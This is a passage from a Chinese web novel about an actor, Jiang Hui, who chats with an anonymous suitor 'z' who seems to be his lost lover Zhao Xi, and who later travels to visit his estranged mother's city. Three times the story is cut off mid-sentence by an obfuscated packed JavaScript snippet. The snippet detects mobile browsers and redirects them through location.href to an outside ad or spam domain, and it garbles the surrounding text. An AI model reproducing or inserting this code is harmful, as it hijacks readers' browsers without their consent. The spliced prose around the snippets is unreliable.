姜洄想到自己刚刚发出去的那条朋友圈,他抱着工作人员送的花,好像把一旁的男一等人也拍进去了一点。 所以z这话是什么意思? 姜洄抿了抿唇,觉得这位z的态度实在奇怪,难不成是在吃醋吗? 一顿杀青宴而已,有什么好吃醋的? 最重要的是,z连他本人都没看见过,而且他们什么关系都没有,z哪怕真的喜欢他,又是以什么立场来吃这个醋的呢? 姜洄皱皱眉,有些不舒服。 【口-口:有什么不好吗?】 【z:没有,随口说说,姜老师吃完了?】 姜洄其实没吃两口,他放下筷子,和导演打了个招呼,和其余人告别,带着小许离开了。 【口-口:嗯。】 【z:在回去?】 【z:[链接:饭后消食很重要]】 【口-口:……你怎么天天发这些。】 【z:我平时常看,顺手就发了。】 【z:天天发这些,姜老师会觉得烦吗?】 【口-口:是挺烦的。】 【口-口:你是在追我吗?】 既然看不懂对方的意图,那就直接问。 姜洄懒得跟他迂回了。 【z:……不是,但姜老师想的话,我也可以追一追。】 【口-口:很勉为其难的样子。】 【z:没有勉为其难,真心的。】 【z:姜老师愿意给这个机会吗?】 姜洄深吸一口气。 也许是他这一年多以来精神太过溃散,也许是刚刚的事情让他再次感到有些疲惫,他实在有点想借助某件事来转移一下自己的注意力了。 进入一段新的感情还为时太早。 但看在z还算有意思的份上,他想,可以给一个这样的机会。 他也需要这样一个人, 于是良久,他才回复道 —— 【口-口:追人不是这么追的。】 【z:那姜老师教教我吧。QAQ】 姜洄晃了下神,因为这个熟悉的颜表情。 真是魔怔了,看什么都能想到赵熙,这些东西又不是赵熙的专属。 他打了一行字,觉得不合适,又删了。 片刻,才下定什么决心般把话发了出去。 【口-口:我想我不讨厌你。我们可以慢慢相处,感情的事情顺其自然就好。】 【口-口:哦,还有,别再老是发你的那些破链接又不说话了。】 【z:好的。】 【z:我能多问一句吗?】 【口-口:问。】 【z:姜老师对其他追求者,也这么宽容吗?】 【z:我是意思是说,好像谁都有机会可以接近你。】 【口-口:你在兴师问罪吗?】 【z:……抱歉,没有这个意思,只是好奇。】 【口-口:刚刚说的什么,再说一遍。】 【z:抱歉】 【口-口:前一句的前一句。】 【z:……我能多问一句吗?】 【口-口:不能。】 姜洄面无表情收起手机,坐上保姆车,只觉得这人莫名其妙极了。 有些时候展现出来一种让姜洄忍不住感到好奇的特质,有时候又越界到一种让姜洄感到冒犯的程度,让他立刻下头。 回到家,姜洄才想起来忘记把他的免打扰解除。 拿起手机,发现对方在他没有回复之后还又发了两句。 【z:真的抱歉,是我冒昧了。】 【z:姜老师还允许我追求你吗?QAQ】 姜洄深深呼出一口气。 【口-口:没事,是我反应太大了。】 心里有鬼,想借着人家追求的契机来看看能不能打动自己,好忘却那段早已不可能的感情,却被这样一句话正中心事。 z其实也没说错什么,或许就是打趣两句而已。 【口-口:你刚刚说的不太对。】 【z:哪一句?】 【口-口:如果你不是宋姐介绍的,我第一天就会和你说清楚我不谈恋爱,然后删掉你。】 所以并不是所有人都有这个机会接近他,也不是所有人都像z一样能让他提起几分接触的兴趣。 【z:这么说要多谢宋姐了。】 【z:为什么姜老师之前不愿意,现在又愿意了?】 这话发出来没两秒,又被z撤了回去,大概觉得不合时宜,怕他不高兴。 【口-口:看见了。】 【口-口:你可以理解为那时候我受了情伤。】 【z:那现在情伤好了?】 【口-口:试图让它好。】 【z:所以,姜老师才会突然愿意给我一个机会?是想开始一段新的感情治愈情伤?】 【口- ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118888|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口:算是。刚刚一时冲动,心情也不好,迁怒了你,抱歉。】 【口-口:现在你知道了,你也可以不追求我,只是多个普通朋友我没有异议。】 【z:能让姜老师受情伤的一定不是普通人吧?是他甩了姜老师?真是不知好歹。】 姜洄看着他最后一句话,微微皱了皱眉,不自觉打字答复。 【口-口:不是他甩我。】 【z:惊讶.jpg】 【z:那你们为什么会分开?】 良久,姜洄只沉默地回了他六个点。 不想说。 也不知该如何说。 【z:我多嘴了,不问了。】 【z:不过姜老师,要是因为什么误会的话,可不要因为这种小事错过喜欢的人啊,人生苦短,就该及时珍惜眼前人。】 口口声声要追求他的人,在这里劝他不要错过喜欢的人? 姜洄越看越稀奇。 【口-口:你就没想过可能是他绿了我?】 【z:……】 这回轮到z打出六个点了。 【z:不能吧,有姜老师这样的男朋友,是他八辈子的福分。】 【口-口:那可不一定。】 或许赵熙会觉得,是孽缘才对。 他们没再聊起关于“追求”与“被追求”的话题,默契地结束了聊天。 这天之后,z依旧维持着每隔几天才给他发几条消息的频率,倒没再发那些乱七八糟的链接了,只是聊些无关紧要的日常,问问近况 仿佛那天晚上所说的追求只是一句玩笑话。 姜洄也当忘记了,并不刻意冷落或是着急回复,只以普通朋友的身份对待。 哦,或许还算不上普通朋友,毕竟他还不知道z到底叫什么,长什么样子。 本想问宋因雯要一张照片,但想到既然是朋友间的相处,那也没必要问这么多。何况,z要是愿意告诉他,迟早会说的。 姜洄转瞬又把这念头放下了。 z偶尔也会跟他问几句早安晚安,不过姜洄并不太乐专门回复这样的话,看见了才会应一句。 久而久之,z便也不发了。 逢年过节的节日问候倒是没少过。 但姜洄一发消息,对方却几乎总是第一时间回复,以至于某天姜洄忍不住问—— 【口-口:你们搞创作的,不忙吗?】 【z:嗯?还好。怎么这么问?】 【口-口:只是感觉你天天捧着手机。】 z大概听出来了,发了个小猫笑眯眯的表情。 【z:姜老师的消息,再忙也要回啊。】 这是……在跟他玩搞暧昧这一套? 姜洄冷眼看着,只是扯扯唇角没回复。 时间过得很快,姜洄又拍了两部戏,播出了两部,转眼又到了年底。 这期间他们维持着正常联络,作为一个没见过面的“网友”,z明显是合格的,他保持着距离,又总在姜洄快遗忘他之际抛出新的话题。 有时z也会给他分享些日常,比如家里某只新买来的花瓶上特殊的花纹,比如今天的阳光有多好,比如邻居家的猫不知道为什么突然跑到了他家门口赖着不走了…… 往往这种时候,姜洄回复他的频率会高一些……也许是因为这样事无巨细的分享,曾经也有一个人对他做过。 看着照片里那只沐浴在阳光下惬意眯眼甩尾巴的狸花猫,姜洄不由有些愣神。 【口-口:你很招猫的喜欢吗?】 【z:还好,可能因为养过一只。】 【口-口:养过?】 意思是现在没再养了? 【z:嗯,已经去世了。不过是到了年纪自然死亡的,没什么苦痛。】 【口-口:……抱歉。】 姜洄垂眼,心想那种熟悉感果然是想多了。 年龄对不上,职业对不上,虽然养猫,但他养的猫已经正常老死去世,这点也对不上。 他到底在想什么天方夜谭? 54.身材 2038年6月,姜洄回来的第三年。 不知是不是因为名字念起来读音一样,所以他潜意识里会格外留心——姜洄总是听到那位叫“xx”的歌手近况,知道对方成了星辉娱乐新的红人,这一年来还开了两场演唱会。 他甚至打造了一个总是戴着白色面具出席活动的神秘人设,没人知道他长什么样,也因此,xx的讨论度水涨船高。 有人说他面貌丑陋所以不愿露面,有人说他遭遇意外毁了容,还有人说他长得很好看但是不想被人误会是靠长相吃饭…… 不管外界如何众说纷纭,关于歌手xx到底为什么戴着面具出席活动,星辉官方也没有给出过任何解释。 姜洄虽然听到不少,但并没有刻意去关注过。 有时他搜罗新歌单的时候,也会搜到两首xx的歌,除了名字念起来有点太相像以外,其实对方连声音也很像。 不少粉丝都有提到过,这位歌手xx的声音是不是有点耳熟——像姜洄。 不过他到底是没有在公共场合真正说过什么话,粉丝们也无从对比。 说到底也只是声音像而已。 姜洄每每听了几句便心烦意乱,一方面觉得是自己想多了,一方面又觉得声音实在太过相似。 到后来他甚至刻意避开了xx的歌单,虽然从某种程度上来说……对方的那几首歌他其实都挺喜欢的。 再听到这个名字,是在姜洄拍摄某个高奢品牌的广告时,正在化妆间里化妆,听见门外传来几个摸鱼经过的工作人员细碎的议论声。 听到熟悉的名字,哪怕明知道不是心里的那个人,他还是会心跳漏上一拍。 身后的化妆师明显也听见了,笑着说:“最近xx真的很火,姜老师听过他的歌吗?” 姜洄:“没有。” 化妆师道:“可惜了……” “可惜什么?” “本来还以为姜老师这样的圈内人会不会认识xx本人,想问问内幕消息来着,不过姜老师连xx的歌听都没听过,那应该也不认识了。” “内幕消息?” “对啊,大家都很好奇xx到底长什么样,感觉现在圈子里最热门的十大问题之一就是xx的长相了。说起来,xx和姜老师的声音还挺像呢。” 姜洄扯了扯嘴角,没有睁眼,任由她拿着粉刷在脸上拍,淡淡道:“我可不会唱歌。” 门外刚买完饮料的助理小许推门进来:“姜哥,好了吗?” 化妆师咽下嘴里继续接话的意图,应道:“好了好了。” 姜洄起身看了眼镜子里的自己,确认过没有什么不对,这才若无其事挪开视线,跟着助理出门。 他接过小许手里递过来的牛奶喝了一口,脚步正往拍摄区去,目光扫过人群,姜洄忽然顿住了。 小许在前头带路,正和他随口聊着。 “听说这次隔壁摄影棚是星辉的人呢,不知道是谁,来的阵仗挺小,围观动静挺大,刚刚一堆人围着去看,我都没问清楚到底谁来了……” 话说到一半,肩膀被人拍了一下。 姜洄匆匆打断他,看样子根本没听见他在说什么:“等我一下。” 他钻进人群,行色匆匆,不知看见了什么,没等小许反应过来,就消失在了他视线中。 小许张了张口:“……”发生了什么? 姜洄下意识顺着那道熟悉的身影追了出来,但因为只是一个背影,哪怕他追的再快,不过片刻,那道身影也很快就消失在人海里不见了。 摄影棚这边来拍摄的明星不止他一个,光工作人员都人流密集,姜洄停下步子,在周围眼神奇怪的人们眼神里深吸了口气。 怎么能那么像? 简直…… 简直一模一样。 赵熙比他更壮一些,身形微妙相似,但又不完全一样,而且比他高一点。 刚刚那个人,虽然只是个背影,但和姜洄记忆里的身影相似度也惊人的高。 可惜他只多愣了一下,就找不见对方了。 姜洄捏着手里的牛奶瓶,抿了抿唇。 算了。 找到又怎么样?无非就两种结果,是赵熙,和不是赵熙。 前者不可能,后者无意义。 他为自己下意识的失态感到可笑和荒谬,冷静两秒,没有多耽搁,转身回去了。 他没有注意到,角落里,一道视线正悄悄落在他身上,看着他陷入沉默,然后转身离开。 在这道眼神中的情绪即将失控、被人发觉时,它又被及时收了回去。 …… 姜洄今天状态不太好,两条简单的广告,ng了好几遍才过,只有拍摄海报的时候状态一如既往,因为只要贡献他这张脸,不需要什么演技。 坐在回去的保姆车上,姜洄心不在焉地刷着手机。 z恰在此时发来消息,信息从屏幕头顶蹦出来,姜洄的视线因此挪了过去。 【z:下班了。】 【z:姜老师晚饭吃什么?】 和z陆陆续续聊了一年,姜洄感觉他们倒有些像真的朋友了,总互相聊些有的没的,想到什么说什么——除了不能说的,还挺自在。 但眼下…… 姜洄没什么聊天的心思,他随手回了个不知道,正要关上手机,z又发了一条。 【z:好敷衍,姜老师心情不好吗?】 这怎么看出来的? 姜洄想,他不是一向挺喜欢敷衍人吗。 勉强提起点劲儿,姜洄问:【很明显吗?】 【z:还好,如果正常情况下,你不会这么快回消息,也不会不问我为什么这么早下班。】 z的工作听起来很自由的样子,实际上他也挺忙的,他们每隔三四天,时间线才能凑到一块你来我往地聊几句。 姜洄想到这点,鬼使神差地问:【你今天在哪工作?】 【z:公司啊,怎么了?】 回得速度不快不慢,看不出撒谎的痕迹。 姜洄敛了敛眉:【没什么,随便问问。】 【z:所以为什么心情不好?工作遇到什么烦心事了吗?】 【z:可以和我说说,以朋友的角度,我不会告诉别人的。】 【口-口:……挺复杂的,说起来好像也挺简单,可以用一句话概括。】 【z:嗯?】 【口-口:我好像遇到死去的前任了。】 【z:……嗯???】 非要形容的话,姜洄这句话也没毛病,毕竟另一个世界的人,不可能出现在这里,如果真的出现了,惊悚程度不就类似于死去的前男友复活吗? 姜洄说的心安理得,z倒是好像是被吓到了的感觉。 【口-口:我只看到了一个背影,不过真的很像。】 z隔了一会儿才回复他,像是斟酌了一会儿:【姜老师看错了吧……】 【口-口:你怎么知道一定是看错了?】 【z:我的意思是,死了的人又活过来了,根本不可能啊,只能是你看错了……】 姜洄若有所思。 【口-口:说的也是。】 【z:姜老师这位前任对你很重要吗?我记得咱们刚认识不久的时候,你也提起过他。】 【口-口:嗯,算吧。】 【z:算……吧?】 【口-口:他身材很好,我对他念念不忘难道不正常吗?】 【 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123082|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' z:……】 姜洄挑眉,起了几分戏谑之心。 【口-口:我记得宋姐介绍的时候还说,你长得也挺好的,身材也不差?】 【z:……啊。原来姜老师是因为这个才加我的?】 【口-口:你猜。】 z没再回复,姜洄看着聊天记录,出了会儿神,又关上了手机。 吃完饭回到家,洗澡时洗漱台上的手机响个不停,姜洄没空去看,出了浴室才边拿吹风机边打开了手机。 他头发半长不短的,很久没剪过了,每次洗头又成了一种麻烦,姜洄花了很长一段时间才重新适应了自己吹头发的习惯。 刚从柜子里把吹风机拿出来,姜洄的目光就在屏幕上顿住了。 他微妙地挑了下眉,不为别的,只因为…… z突然给他发了几张图片。 他似乎用的是前置摄像头,脖子往上没有露面,黑色衬衫被他用手抓起来,露出白皙精壮的胸膛,练得肌肉匀称的胸肌下是让人眼热的八块腹肌,线条漂亮紧致,明显不是姜洄这种不爱锻炼硬挤出来的样子,连抓着衬衫的那只手露出的手背青筋也剔透漂亮极了。 再从令人遐想的人鱼线往下……运动裤的腰带系得严严实实,看不到了。 三四张图片,是不同角度的腹肌照,差别不大,三百六十五度无死角地展示了对方的身材,姜洄还在他身后的桌上看到了他之前拍过的那只花瓶,杜绝了网图的可能性。 不知为何…… 总觉得有些眼熟。 姜洄把心头那分微妙压下去,欣赏了片刻美人身躯,这才放下手里的吹风机,慢吞吞打字回复。 【口-口:?】 【z:?】 【口-口:什么意思。】 【z:姜老师不是喜欢身材好的吗?】 【z:比起姜老师的前男友,我怎么样?能入姜老师的法眼吗?】 【口-口:不错,平分秋色。】 【z://v//】 【z:那姜老师现在,还放不下他吗?】 【口-口:好看的身材很多人都有,它随时可以复制出新的替代品,但感情不能。】 【z:姜老师的意思是,旧情难忘?】 姜洄没有回答这个问题。 【口-口:你给我发身材照,算追求吗?】 【z:算。】 【口-口:所以你喜欢我?】 【z:对啊,不明显吗?】 【口-口:那你喜欢我什么?】 这话听起来像是要接受对方、开始剖白了。 z好像犹豫了一会儿,才发来一句:【都喜欢。姜老师哪里都好。】 【口-口:我没有你想的那么完美。】 【口-口:你不了解我,你甚至没有在现实里见过我,你说喜欢,最多也只是喜欢电视上的我,采访里的我,因为我的脸或者身材,又或者是‘姜洄’这个人的名气。】 【口-口:你不知道真实的我是什么样的,我想,现在谈论喜欢这个词,对你我而言,还为时太早。】 姜洄想,z甚至没有赵熙了解他。 至少赵熙知道他的一切小习惯,知道他的喜好与厌恶,只是不知道他的来路和去处,以及他藏在心底从未对人言说的那些情绪。 z很久才发来一句:【我明白了。】 【z:如果我了解真实的你,你会接受我吗?】 姜洄说:【也许。】 他确实需要一个人闯进自己的生活,为这阴冷的世界增添几分色彩。 如果是z,也许可以试试,他不反感。 【z:好。】 【z:那我们要见一面吗?】 55.算了 【口-口:……暂时不用。】 他还没有做好这个准备,去见一个类似于“相亲对方”的人。 给自己做好了心理预设是一回事,真要见面又是一回事。 不如就这样聊着,至于其他的……顺其自然吧。 时间会抚平一切,也许未来他真的能走进另一段感情也说不定……就像他在自己走后,为赵熙的未来所设想的那样。 【z:……好。】 还怪听话的,姜洄说什么就是什么。 他收起手机,忍不住又想起了赵熙。 真像。 每次和z聊天,他总觉得对面是赵熙在和他聊一般,不知不觉便带了几分笑,察觉到时,又忍不住收敛笑意皱眉。 对方不是赵熙,把他当作赵熙是对赵熙的一种不尊重,也是对z的不尊重。 当然,如果他是的话…… 想起今天看到的那道身影,和z关于在哪里工作的回答……姜洄拧了拧眉。 他下意识回避这个可能。 没有那么巧的,他机缘巧合能穿到十五年前,赵熙还能又穿过来? 怎么可能。 而且……他认识z一年了,回来也才两年多,如果是赵熙,不可能憋这么久不和他见面的。 姜洄甩甩脑袋,把这些乱七八糟的念头都压了下去。 两年过去,最近想起赵熙的频率好像反而变高了。 姜洄揉了揉眉心,自嘲地想,真是看谁都像赵熙,这样下去,他哪天会真的变成神经病也说不定了。 不过,既然他能接受和z聊这些,也许走出去……也不是一件很难的事。 在他看不见的小区居民楼对面,一双眼睛藏在窗后,借着窗帘掩饰身形,静静地看着对面的灯火熄灭,窗帘被拉上隔绝视线,这才将眼神收了回来。 他也拉上帘子,在黑暗中打开卧室的灯,转身进了浴室洗漱。 如果姜洄在这里,就会发现,这个人身上穿着的,正是刚刚z发给他图片里的那件黑衬衫和灰色运动裤。 而他的脸,和姜洄长得一模一样。 …… 日子平淡无波地过着。 仿佛是因为戳破了那层“喜欢”与“追求”的窗户纸,z变得更直白了,他们聊天的频率变得更加密切,但主要是z的聊天态度密切。 z开始关心他的现实生活,从前他几乎从不多问,大概怕姜洄觉得冒犯。 他会问姜洄很晚还没睡是不是因为失眠,催他赶紧睡觉,会得知他有抽烟的习惯后感到惊讶,劝他抽烟不好,会主动问起他过得怎么样,工作辛不辛苦…… 这些原本会显得有些过线的举动言语,他发过来却很自然,没有任何冒犯的意思,能看出来单纯只是关心。 姜洄不太适应,说实话,这样的交流会让他更加频繁地想起赵熙,因为眼下z所做的一切,赵熙都曾对他做过。 但他没有提出来,这是他的问题,和z无关。 四个月后,他在一项颁奖礼上,再次见到了那个熟悉的身影。 这一次,姜洄肯定不是错觉。 对方并不在观众席上,而是从会场的某个角落一闪而过,似乎是注意到了他的视线。 姜洄那时正在台上发表获奖感言—— 这是他从拿到影帝奖项以来获得的第五次奖,这三年时间,拿奖对他来说变成了一件很轻易的事情,好像他人生里所以的苦难都这样过去了,消融在前二十五年里,往后的人生变得越来越顺遂,一切他想要的东西,都变得唾手可得起来—— 这是姜洄一直所期望的,也是他撑着一口气完成任务后坚持要回来的原因。 原本是平静的,聚光灯打在他身上,他古井无波地宣示着感谢誓词,眉眼情绪浅淡,也掩不住镜头下那张过于清俊出色的脸,从出道开始他鼻梁上就总是架着一副眼镜,会将他眉眼间的锋利压下去几分,转而多了几丝斯文。 姜洄的话语在看到那道身影的时候顿了顿,一瞬间空白的大脑让他这短暂的几秒钟几乎无法思考,直到对方离开视线范围,消失在会场的幕布之后。 主持人救场,笑着喊了他两声,姜洄才终于惊醒,克制着没有立刻下台追过去,匆匆念完了接下来的几句话,心思却已经不在手中的奖杯上了。 颁奖结束时,他躲过记者的采访,悄悄去了一趟后台。 然而环视一圈,除了举办方的工作人员来来去去,这里并没有他想象中的那道身影。 他沉默许久,转而问助理小许,今天来参加典礼的都有谁。 小许对这个突如其来的问题感到一头雾水,但也老老实实掰着手指头跟他细数:“君怡的陈康逸、易卯、兰台的苏晴、宋因雯……” 姜洄默默听着,除了宋因雯,几乎都是些他虽然认识但交情不深的演员。 没有生面孔。 “除了他们,还有什么人来吗?” 姜洄顿了顿,“有比较特殊的特征的那种。” 小许眨眨眼:“……呃,星辉的xx?他老是戴着面具,挺特殊的。” 姜洄心跳漏了一拍,在听到这个名字的瞬间。 “……他为什么会来?” “听说是为了看望一位朋友颁奖来的,没怎么大张旗鼓,但是还是被发现了,我也是刚刚在后台听人讨论才知道,也不知道是看哪位朋友……” 姜洄收回看着窗外人流的目光,靠在后座,没再说话。 他原本已经将上次的事情抛之脑后,可是…… 可是,太像了。 姜洄不知道自己是怎么打开手机,又是怎么点开和“z”的聊天框的。 他看到z恰好在几个小时前——这场颁奖典礼还没开始前,曾和他发过一条消息。 【z:你有什么梦想吗?】 很突兀的话题。 姜洄仿佛被人瞬间从恍惚中拉回了现实,他犹疑了下:【为什么突然问这个?】 z过了一会儿才回他。 【z:你说我不了解你,那我就来多了解你一点。】 【z:所以能说吗?】 良久,姜洄回复:【没有。】 前二十五年,对他而言,只是活着就已经很难了。 而任务回来后的这三年,除了扳倒老东家算是一个目标以外,他只会按部就班地拍戏、日复一日。 如果拿奖算是梦想的话,那他的梦想大概就是早日拿遍所有能拿到的奖项,然后…… 然后退休? z却说:【演戏不算梦想吗?】 【口-口:不算,它已经实现了。】 只要姜洄愿意,如今的他,想要拍什么戏就可以拍什么戏,他的名气和演技是他最大的底气。 当初进入这个圈子是意外,不过他确实还算喜欢拍戏,毕竟活得已经够痛苦了,要是不在工作上找点乐子,就根本没有什么活劲儿可言了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128271|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' z又说:【那你有没有喜欢做的事情?或者喜欢的东西?】 姜洄半开玩笑道:【钱吧。】 【z:为什么?】 【口-口:这世上大部分人都爱钱,哪有为什么?】 爱钱,是因为他们爱钱能带来的幸福和满足,世上几乎没有什么是前解决不了的,如果有,那就是钱不够多——姜洄一直这样认为。 事实上也确实如此。 他的亲生父亲沉迷赌博,屡次找他都是来要钱,他的公司培养他是因为他有赚钱的能力价值,他的朋友为钱而背叛他,这些年从未联系过他的母亲一家,也因为赵家的权势钱财而凑上去巴巴地希望和他重归于好…… 姜洄在一次又一次的过往经历里反复加深这个印象。 钱才是这个世上最重要的东西,它能让人得到一切自己想得到的,也能让一个人拥有独立生活下去的勇气,失去它的同时也会失去所有。 但除此之外,他好像也没有更多的喜好了。 听音乐是因为经常梦魇耳鸣,是一种为了缓解精神不得不听、苦中作乐得到那么几分趣味的习惯,演戏曾经是为了赚更多的钱脱离他人的掌控,而今是为了稳定自己的地位,也成了一种习惯。 或许也有要争一口气的心理在里面。 赵熙被他养得那么优秀,他要是执意回来了却不挺直腰板好好活下去,活得精彩活得耀眼,岂不是证明他的所有选择其实都是个笑话? 赵熙看不到,姜洄也不是争给他看的,是争给自己看的。 z没有再多问什么,大概也不知道怎么问。 姜洄心里闷得慌,胸口像堵了一块沉闷的石头,不知是因为今天看到的那个身影,还是因为z突如其来的这个问题。 他刻意转开话题。 【口-口:你现在在哪儿?】 【z:?怎么突然问这个?我在回家路上。】 姜洄瞄了一眼手机右上角的时间,下午六点半。 这个点,是刚下班? 姜洄抿唇,删删改改片刻,把聊天框里的话删了很多次,最后还是发出去了:【我们见一面吧。】 【z:啊?这么突然?】 【口-口:你不想见?】 【z:也不是……就是比较意外,当然好,你想什么时候见?】 这么坦然? 姜洄狐疑起来,一边是直觉告诉他,只有见一面才能消除心底一切不安和怀疑,但一边又忍不住因为对方坦然的态度而感到犹豫——要是他猜错了呢? 不管答案是什么,似乎现在和z见面,都有些不合时宜。 姜洄想了想。 【口-口:下个月吧,我这个月还有戏要拍,没什么时间。】 【z:好,听你的。】 z似乎全无异议。 姜洄福至心灵,忽然想起因为和对方默契地保持着网友的关系,自己从未问过他的真名。 他于是接着问:【既然要见面了,你不打算告诉我你真名叫什么吗?】 【z:还是保留一点惊喜感吧,见面的时候我会告诉你的。】 【z:^v^】 姜洄看着这个熟悉的表情包,手一抖,差点把手机摔到车座底下。 两秒后,他对前座副驾驶上扭头来问他怎么了的小许说了声没事,将屏幕按灭了。 他若无其事地想:算了。 爱说不说。 56.顺城 也许是因为和z聊起了这个话题,让姜洄再次记起了母亲的存在。 他记起来,今年还没去过顺城。 那是他母亲林素所在的城市。 在赵熙那个世界,他曾给过林其真五百万,让对方不要再来纠缠赵熙,那之后他还特意找人回去确认过,这五百万有多少是分到了他亲生母亲的手里。 他能对林其真这个从未见过面的舅舅冷脸以待,却无法真正意义上去恨他的母亲。 他不怕被敲诈勒索,只怕给出去的这笔钱没有几分是母亲林素能拿到的。 林家相当的势利眼,能因为女儿被强迫过生过孩子就把人送的远远的、远离江城,得知了拐卖强/奸女儿的人是谁,却从没有主动提起过诉讼,只因为怕丢脸……这样的人家,能是什么好人家? 姜洄只庆幸他们好歹还要面子,没有因为怕丢脸又把他母亲送回那个家。 他用这笔钱斩断和林家的关系,一方面是真的已经对林家心灰意冷,明白母亲不会再来找他,一方面也是明白,他的存在确实对林素来说是个污点。 他给完钱,大家皆大欢喜……前提是钱能到他母亲的手上。 当然,他得知的结果也确实是林素拿到了三分之一的钱,剩下的都被林家人瓜分了。 也由此对林家彻底死心。 但在他的世界不一样,他和林家还没有闹到那个份上,林家给了对家公司关于他的信息,但他没有把这件事闹到明面上,因此表面上他和林家还是相安无事、各自安好的。 姜洄在所有人都不知情的情况下,每年都会去一趟外市的顺城,看看林素,再往母亲的账户里打一笔钱,权当抚养费。 他有落款,母亲应该是知道的,不然陌生账户突然打钱来,难保不是什么诈骗,但她从来没有说过什么,也未曾主动联系过他。 姜洄一开始还带着些朦胧的期盼,想着要不要找个机会和她见一面,问问她这些年过得怎么样。 他不麻烦的,他现在有能力赚钱养好自己了,只是有时也有会点想妈妈。 他不会逼迫对方做任何事,也不需要回到林家,只要每年能来见她一两次就好了。 但一年又一年,对方沉默的态度将他的脚步逼得越发后退。 他愿意演戏,喜欢演戏,也许也是因为,演绎着各色各样的人生,会让他感到一种从未有过的满足。 比他幸福的,他去体会幸福,比他痛苦的,他以这痛苦抚慰自己——你看,人生也不是只有他在红尘挣扎着求生。 故事里的角色总有不同的家庭和人生,但毫无疑问,遗憾才是世间常态,圆满才是最难奢求的东西。 人生至今才二十八年,可他却已经经历了太多嗔痴爱恨,与太多的人和物告过别,回首抬眸间,身后仍旧空无一人。 连粉丝们爱他,爱的也只是皮囊,是他演戏的能力,是他站在聚光灯下的光鲜靓丽。 承认没有人爱自己这件事太残忍,姜洄跌跌撞撞,学了很多年。 他不再奢求得到回应后,好像心胸都宽敞了许多,每年抽空专门去一趟顺城,散心,加上看望林素。 要是没空,就拜托那边常去的一家酒店老板帮自己看看。 谈恋爱的时候赵熙常说他没朋友,只闷着自己不出门,现在不了。 他学会了放下,也学会了交朋友,像那家酒店的老板,像宋因雯,像明白他不喜欢自己后仍然和他保持朋友联系、不越分寸的张瞬……还有z。 没有赵熙,不再是赵茴,他回到自己的世界,一个人也可以过得很好。 ……又想到他了。 姜洄闭眼叹口气,和李哥确认过未来两天没有行程,他订下了明天的机票。 下飞机后他熟门熟路找到了那家常去的酒店,老板叫唐欧,是个二十来岁的富二代,开酒店只是为了玩玩,昨天就确认过他要来,特意帮他留了他常住的那间高级套房。 他们认识了很多年,却是在三年前成为的朋友——那时候姜洄刚完成任务回来。 两人在饭店碰面,火锅热气腾腾的白雾里,寒暄几句,唐尺问他:“你既然每年都来,不如在这边买个房子?也方便一些。” 有时姜洄工作需要全国来回跑,也会来顺城。 只是那时候是没空去看林素的。 姜洄摇头,挑出牛肉上的花椒,眉眼沉静道:“没必要。我不会来这边定居。” 林素在这里,如果要在顺城长久住下去,也有几率会遇上。 姜洄已经放下这份见面的期待,就不会再做这种打算。 唐尺耸耸肩:“好吧。” 他们天南海北随意聊了一些,唐尺的性子有些跳脱,因为家里富裕,所以毕业这么多年也没干过什么正经工作,一直是搞各种投资、每个圈子里都玩玩,最近甚至做起了游戏直播。 娱乐圈也经常搞这一套,姜洄了解得比较多,唐尺就兴致勃勃跟他讨论了许久,吃过饭,邀请他去自己家里玩游戏。 姜洄正好无聊,漫长的白天才过去一半,无事可做时他一般在家里昏睡,弥补晚上的失眠。 唐尺既然开口,就不好拒绝,姜洄默认了。 进了唐家的门,却没料到一道身影从沙发上坐起来,喊唐尺:“小尺。” 姜洄愣了一下,为这熟悉的声音。 唐尺也愣了愣:“哎呀我忘了,今天他也在……正好介绍一下,这是我男朋友,余书。” 姜洄当然认识,赵熙那一世,作为赵熙的朋友,余书也曾进过赵家的门,和姜洄见过几次。 只是他认得对方,对方却明显并不认识他。 唐尺对他说:“这是我朋友,姜洄。” 余书走过来靠在唐尺身侧,朝他礼貌地笑笑,目光陌生:“你好,我在电视上见过你。” 姜洄收回视线,轻轻嗯了一声,语气平静:“你好。” 豪门之间有交集来往很正常,但唐家扎根顺城,姜洄作为“赵茴”时听过,却没见过,也没想到会在这里遇到余书。 唐尺推了下余书,说:“你赶紧忙你的去吧,我带他上楼玩游戏去。” 余书便撇撇嘴去了书房,大概念着有别人在,虽然两人举止亲昵,也没做出什么过分亲密的举动来。 只是姜洄注意到,他离开时眼神落在了自己脸上,姜洄回视过去,他又心虚一般若无其事地挪开了。 姜洄心里冒出几分微妙。 唐尺毫无察觉,领着他往楼上的游戏房走,道:“我忘了他今天休息在家了,不好意思啊……不过没事,咱们玩咱们的,他不会来打扰。” 